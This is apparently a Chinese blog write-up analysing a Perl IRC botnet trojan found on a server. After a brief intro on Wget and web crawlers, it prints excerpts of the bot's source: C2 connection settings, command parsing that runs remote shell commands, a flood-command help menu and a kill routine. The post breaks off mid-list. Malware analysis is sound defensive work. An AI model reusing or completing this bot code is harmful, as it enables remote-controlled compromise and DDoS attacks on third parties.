Wireshark Wget bot木马分析

来源:互联网 发布:前端seo 编辑:程序博客网 时间:2024/06/05 17:44

爬虫和蜘蛛

  • 黑盒测试,它涉及到外部攻击者用于获取足够信息的所有步骤,以便入侵应用或服务器的特定功能。
  • 作为每个 Web 渗透测试中侦查阶段的一部分,我们需要浏览器每个包含在网页中的链接,并跟踪它展示的每个文件。
  • 有一些工具能够帮助我们自动和以及加速完成这个任务,它们叫做 Web 爬虫或蜘蛛。
  • 这些工具通过跟随所有到外部文件的链接和引用,有的时候会填充表单并将它们发送到服务器,保存所有请求和响应来浏览网页,从而提供给我们离线分析它们的机会。

1.1 使用 Wget 为离线分析下载网页

Wget 是 GNU 项目的一部分,也包含在主流 linux 发行版中,包括 Kali。它能够递归为离线浏览下载网页,包括链接转换和下载非 HTML 文件。

这里写图片描述

访问链接,发现为DDoS Perl IrcBotV1.0 版本的木马程序

这里写图片描述

木马链接


2.1行为分析

服务器基本信息

my $nick =$rircname[rand scalar @rircname];$server = '52.187.70.**' unless $server;my $port = '80';my $linas_max='8';my $sleep='5';my $homedir = "/tmp";my $version = 'DDoS Perl Bot v1.0';

1:启动连接

sub conectar {  my $meunick = $_[0];  my $server_con = $_[1];  my $port_con = $_[2];  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",  PeerPort=>$port_con) or return(1);  if (defined($IRC_socket)) {    $IRC_cur_socket = $IRC_socket;    $IRC_socket->autoflush(1);    $sel_cliente->add($IRC_socket);    $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";    $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;    nick("$meunick");    sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");    sleep 1;  }}

2:调用parse函数解析指令

sub parse {  my $servarg = shift;  if ($servarg =~ /^PING \:(.*)/) {    sendraw("PONG :$1");    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;    if ($args =~ /^\001VERSION\001$/) {         notice("$pn", "".$vers."");    }        if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {    if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {    if ($onde eq "$meunick"){    shell("$pn", "$args");  }  if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {    my $natrix = $1;    my $arg = $2;    if ($arg =~ /^\!(.*)/) {      ircase("$pn","$onde","$1");      } elsif ($arg =~ /^\@(.*)/) {      $ondep = $onde;      $ondep = $pn if $onde eq $meunick;      bfunc("$ondep","$1");      } else {      shell("$onde", "$arg");    }  }}}}elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {  if (lc($1) eq lc($meunick)) {  $meunick=$4;  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;  }  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {  nick("$meunick-".int rand(9999));  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {  $meunick = $2;  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;  $irc_servers{$IRC_cur_socket}{'nome'} = "$1";  foreach my $canal (@channels) {        sendraw("MODE $nick +x");    sendraw("JOIN $canal");        sendraw("PRIVMSG $canal :4,1 [flood.ro dd0s b0ts] 9,1Educatia este precum erectia, de o ai, se vede!!! ");}}}

3:调用bfunc函数执行相应的任务。

程序核心内容皆在bfunc函数里,后续主要分析这个函数。

sub bfunc {my $printl = $_[0];my $funcarg = $_[1];  if (my $pid = fork) {  waitpid($pid, 0);  } else {  if (fork) {  exit;  } else {  if ($funcarg =~ /^help/) {        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help:  ");        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system              ");        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version             ");        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel             ");              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood               ");        sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils               ");              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");}#..........嵌套多个if实现功能############################## [ Functions ] ##############################}

bfunc函数依据传入的指令参数有如下功能:

1:结束进程
if ($funcarg =~ /^die/) {        sendraw($IRC_cur_socket, "QUIT :");        $killd = "kill -9 ".fork;        system (`$killd`);}
2:
原创粉丝点击